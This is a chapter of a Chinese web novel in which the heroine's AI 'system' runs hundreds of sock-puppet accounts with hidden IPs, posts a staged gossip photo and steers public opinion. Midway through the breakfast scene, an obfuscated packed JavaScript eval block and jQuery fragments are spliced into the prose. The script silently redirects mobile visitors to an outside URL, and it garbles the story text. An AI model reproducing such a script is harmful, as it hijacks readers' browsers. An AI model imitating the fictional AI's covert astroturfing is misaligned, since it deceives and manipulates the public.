商晚暗自心虚。


    另一边，系统已经熟练地处理好图片，上传在了它刚刚发布的爆料帖中，并配文道：立图为证，造假死全家。


    商晚的嘴角不由得抽搐了一下。


    好好好，统统果然是变了！


    动不动就咒她这个唯一的挚爱亲人！


    虽然商晚被气得压根痒痒，但她不得不承认，系统不愧是超越这个时代的超级人工智能。


    不仅能无痛注册成百上千个小号，挨个替小号隐藏IP地址，还能准确无误地模仿部分网友放瓜时贱嗖嗖的口吻，甚至引导吃瓜群众，往她想要的方向去猜测。


    关于“商南枝受伤”的舆论，在系统的不断添柴加火之后，已经煮成了一锅粘稠而滚烫的粥。


    只待真相揭露，彻底暴沸的那一天。


    某瓣小组里，【神仙姥姥】发布的那张照片已经引发了新一波的舆论高潮。


    照片拍得相当有水平——


    只见觥筹交错的上流社会交际场里，香槟塔碎了一地。


    无数碎玻璃映着酒水，在红毯上流淌成一条浅色溪流，配上水晶灯夺目光彩的折射，本该是最吸引人眼球的。


    然而，所有人的注意力，却无一例外地被画面角落里那对挽着手的男女给吸引了。


    即使画面模糊，人们也仍旧能看得出，酒会角落中并肩而立的那两个人，一个是近期风头正劲的商南枝，另一个，则是常年出现在A市各大财经新闻中的，傅氏集团的接班人。


    倾斜的镜头下，商晚穿一身洋酒红的礼服长裙，唇角带笑，正旁若无人地挽着傅氏集团那位接班人的胳膊。


    而傅氏集团的那位接班人，也同样在看商晚。


    模糊的画质让他看向商晚的眉眼显得既温柔又专注，仿佛贴在情人耳畔时，唇畔溢出的一声呢喃。


    只这一张照片，便让人不得不相信，画面中出现的这对男女，绝对关系匪浅。


    顾氏庄园的书房里，商晚盯着系统发布的照片看了足足一分钟，幽幽地叹了口气。


    系统一愣：“怎么了？”


    它哪里的舆论监测没到位吗？


    商晚垂下眼，惆怅道：“你说我怎么就长得这么好看呢？一想到我三个月之后就不长这样了，还有点伤心。”


    系统：“……”


    它就多余问！


    电脑屏幕中，【神仙姥姥】爆料帖中的评论正在以一个不可思议的速度增长。


    这是商晚早就预料到的事情。


    她在系统的自动保存历史影像的后台里精挑细选了三个小时，才总算是挑出了一张还算过得去的照片。


    角度倾斜，像是偷拍的，却又恰到好处地拍到了她和傅沉的正脸。


    加上傅沉当时为了迷惑傅家严，低头朝她投来的那暧昧一瞥，以及她裙角拂动，和傅沉的西服纠缠在一起的逆天角度。


    简直是天选的爆料照。


    爆料帖中，无数的“这绝对是p图的吧”和“我丢我丢这也太劲爆了”此起彼伏地涌了上来。


    几乎只是一眨眼的功夫，【神仙姥姥】的帖子便被疯狂涌入的流量给撑爆了——


    某瓣崩了。


    紧接着，系统足迹跨过的数个网站，也一一步了某瓣的后尘。


    网络世界的这一夜，注定是血雨腥风的一夜。


    无数网友们吃瓜吃得不亦乐乎。


    商南枝深陷豪门狗血三角恋的瓜更是进化出了数百个逆天版本。


    各路网站的程序员好不容易堵上了这边的运行窟窿，冷不丁那边又崩了，简直忙得焦头烂额，没处说理。


    然而，商晚却难得地做了个好梦。


    顾氏庄园里，商晚搬进去的那间面朝南向花园的卧室采光极好。


    早上六点四十五分，清晨的第一缕阳光会越过窗棂，轻柔地跳到商晚身上，给她带来温暖的触感。


    雪松清浅的味道溢满花园，偶尔有一星半点溜进房间，也相当温和。


    商晚在半梦半醒间，不自觉被唤醒了很久远的一点回忆。


    是在她很小的时候，那时宝琴妈妈还在一户富裕人家当保姆。


    她那时病情还没有稳定，总是会无缘无故感到不舒服。


    宝琴妈妈忙，却又不放心她一个人在家，干脆将她带到了工作的那户人家，让她在保姆间乖乖呆着。


    她认认真真地点了三下头，一边“嗯”一边跟宝琴妈妈保证：“妈妈，我一定会乖乖的，你去忙吧。”


    宝琴妈妈一步三回头地走了。


    商晚目送她离开，而后缩在保姆间的角落里，开始看她从学校图书馆借来的书。


    她从鲁滨逊流落荒岛，看到他驯化野人星期五。


    荒岛上人烟绝迹，商晚却好像和只身一人的鲁滨逊一起，尝到了葡萄的甜，还有羊肉的香。


    保姆间被她偷偷打开了一条缝隙的窗户外，会时不时飘进来各种花木的香气。


    馥郁的是月季，甜醉的是桂花，坚实的是松木，沉静的是侧柏……商晚就这样在一年四季，不停变幻的香气里看了一本又一本的书。


    她这样平静的岁月，是什么时候被打破的呢？


    小小的保姆间外，忽然响起了敲门声。


    年幼的商晚合上书，警惕地抬起了眼睛。


    咚咚——咚咚——


    顾氏庄园的卧室里，一夜好眠的商晚猛地睁开了眼睛。


    咚咚——咚咚——


    敲门声还没有停歇。


    难道做个梦还做成连续剧了？


    商晚从床上爬起来，理了理自己混乱的思绪。


    门外的声响越打越大。


    商晚终于清醒了一点。


    “谁？”她问。


    敲门声停下，门外传来顾宅管家的声音：“商小姐，八点半了，先生让我喊您起来用早餐。”


    *


    顾氏庄园的早餐相当普通。


    一根煮玉米，半杯豆浆，一小份蔬菜鸡胸沙拉，外加五粒剥好皮的葡萄。


    无油无盐，滋味寡淡。


    商晚端坐在餐桌前，面无表情地放下叉子，对顾浔道：“我不吃这个。”


    只有兔子才只吃草！


    她是人，她要吃肉！


    她要吃锅贴饺小笼包汤圆麻球过桥米线胡辣汤！


    听到商晚在意识世界里碎碎念了一长串，仿佛报菜名般滔滔不绝的系统：“……”


    点菜请找顾浔。


    它不是上菜机器人！


    顾浔的目光轻轻扫过面前的早餐，旋即疑惑地看向商晚：“低卡，低钠，少油，少碳水，我问过你助理了，这是你日常减脂的标准配餐，有什么问题吗？”


    温煦的天光下，顾浔的眉眼也仿佛在发光。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295687|194421||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他左手绑着纱布，右手打着石膏，相当板正地坐着，像是学生时代，无论做什么都分外专注的三好学生。


    然而，商晚只看了顾浔一眼，便下结论道：“你看到昨晚的爆料了。”


    语气相当笃定。


    顾浔也不反驳，反倒因为商晚对他的过分了解而轻轻翘了一下唇角，直接承认道：“是。”


    商晚面色平静地看他，直截了当地说：“所以，你想试探什么？


    “想看我还要不要吃减脂餐保持身材，从而判断我接下来是不是准备继续在娱乐圈里待着吗？


    “那我可以明确地告诉你，你试探的方向很高明。


    “我确实准备在舆论闹得最大的时候，直播退圈。”


    商晚手头的料已经放得差不多了。


    热搜刚爆过两轮，程序员们加班加点地提高了服务器可登录人数的上限，商晚那些暧昧不清的绯闻，也终于被炒作到了最热火朝天的节点。


    一切都蓄势待发。


    商晚就是要在这个节点，用一场浩浩荡荡的直播，在这个世界的所有人面前，揭穿傅家严这个老东西视法律如无物的真面。


    老牌权贵和娱乐圈新贵之间的狗咬狗，或许并不能算是让广大网友们热血上头的新闻。


    可如果再加上傅家严手底下那整整十二个，在对她进行绑架之后，就消失得无影无踪的保镖呢？


    杨姐被绑架那天，商晚让系统标记了那十二个绑匪的生物信息。


    被救后，她又让系统六次扫描了这个庞大的穿书世界。


    系统告诉商晚，它没有在这世上的任一角落，识别到这六人的信息。


    商晚记得，系统曾在闲来无事时和她说起过，所有的人类，只要活着，就都是既有来路，又有归处的，绝不可能凭空消失。


    只剩下一种可能。


    傅家严在事发后，灭了这十二个人的口。


    在觉察到这唯一一种可能的那个瞬间，商晚只觉一股莫大的冷意，从脚底一直窜升上了天灵盖。


    多么可怕的一个世界啊。


    权贵横行无忌，反派为所欲为。


    生命既可以被金钱买卖，还可以被埋进地底，用以掩盖罪行。


    可是，傅家严凭什么呢？


    他有什么资格高高在上地掌控别人的命运呢？


    商晚想，既然书写世界的笔已经被系统送到了她手里，那她就不允许这样恶心的规则继续运行。


    是这个世界要她降临的。


    她既然来了，那么，在被一切书写好的命运到来之前，她会先改变这个世界。


    顾氏庄园，雪松和侧柏的香气像游魂一样，飘进了餐厅。


    商晚定定看着顾浔，像是在等他回答。


    几秒钟后，顾浔用他扎着纱布的手，轻轻碰了一下商晚的手。


    大概是顾虑商晚不喜欢别人随便碰她，顾浔的手在商晚手背上一触即分。


    只余一点点纱布的粗粝感尚在停留。


    “晚晚，”顾浔看向商晚，专注的目光撞进她视线中，道，“我没有想试探你。”


    商晚一愣。顾浔便继续补充：“只是你的助理和我说，你节食了整整六年零三个月，我以为，你能坚持这么久，有相当概率是出于个人喜好。”


    商晚：“……”


    简直是见鬼的个人喜好！